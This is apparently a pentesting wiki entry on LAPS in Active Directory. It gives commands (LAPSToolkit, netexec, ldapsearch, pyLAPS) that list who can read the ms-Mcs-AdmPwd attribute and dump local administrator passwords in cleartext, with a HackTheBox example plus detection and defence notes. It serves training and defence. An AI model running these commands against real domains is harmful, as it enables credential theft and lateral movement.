LAPS (Local Administrator Password Solution)
LAPS is a Microsoft solution that fixes a classic Windows-network problem: all machines sharing the same local administrator password. When that happens, compromising a single machine (and dumping that hash) lets you move to all the others with the same credential. LAPS breaks that pattern by generating a unique, random, rotated password for each host's local administrator account.
The trick is where it stores those passwords: it keeps them in Active Directory itself, in the computer object's attributes (ms-Mcs-AdmPwd for the cleartext password and ms-Mcs-AdmPwdExpirationTime for the expiry date). Access to those attributes is controlled by ACLs, so not everyone can read them: you must belong to a group or have the All Extended Rights (or ReadLAPSPassword) permission delegated.
Enumeration: who can read LAPS
That access control is exactly the abuse vector. The LAPSToolkit answers the three key questions (which machines have LAPS, which groups can read it, which accounts hold the extended rights):
Import-Module .\LAPSToolkit.ps1
Get-LAPSComputers # machines with LAPS + expiry + password if we have rights
Find-LAPSDelegatedGroups # groups with read permission over ms-Mcs-AdmPwd
Find-AdmPwdExtendedRights # accounts with All Extended Rights over LAPS machinesMembership in those groups is also visible with net user <user> (in Global Group memberships) or with BloodHound, which flags the ReadLAPSPassword edge over the computer object.
Reading the password
If the account we control has the permission, you recover the local administrator password in cleartext. There are several routes depending on where you operate from:
# Linux, with netexec (laps module)
netexec ldap <dc> -u <user> -p <pass> --laps
netexec smb <dc> -u <user> -p <pass> -M laps
# Linux, direct LDAP query of the attribute
ldapsearch -x -H ldap://<dc> -D '<user>@<domain>' -w '<pass>' \
-b "DC=<dom>,DC=<tld>" "(ms-Mcs-AdmPwd=*)" ms-Mcs-AdmPwd
# pyLAPS (bulk dump)
pyLAPS.py --action get -d <domain> -u <user> -p <pass>From Windows with the reader user's session:
Get-ADComputer <host> -Properties ms-Mcs-AdmPwd | select name,ms-Mcs-AdmPwdThe result is that host's local Administrator password, which usually suffices to log in as administrator (over WinRM, SMB or RDP) and read the root flag.
Requirements
LAPS deployed in the domain, reachability to AD/LDAP, and an account with read permission on the attribute (through membership in a delegated group or via All Extended Rights). Without that permission the attribute comes back empty.
How to detect it. Reading the password is an LDAP query of the ms-Mcs-AdmPwd attribute, so detection requires auditing access to that attribute: with a read SACL on the computer objects, each read generates an Event ID 4662 (an operation was performed on an object) referencing the LAPS property. The signal is an account reading the ms-Mcs-AdmPwd of machines it should not, or reading that of many hosts in a short time (bulk dump with Get-LAPSPasswords/netexec --laps). Modern Windows LAPS also emits its own operational event log when the password is queried. A honey computer with LAPS and no use turns any read of its attribute into a direct alarm.
Defence. Restrict to the minimum who can read the LAPS attributes, audit reads of ms-Mcs-AdmPwd, and watch that no low-privilege service account ends up in groups with read permission. The modern version (Windows LAPS, 2023) encrypts the password in AD and adds history, which reduces exposure compared to the legacy version.
It is usually combined with powershell-history (where the reader user's credential comes from) and with winrm-cert-auth for the initial access.
Machines where it's used
- TimelapseHackTheBox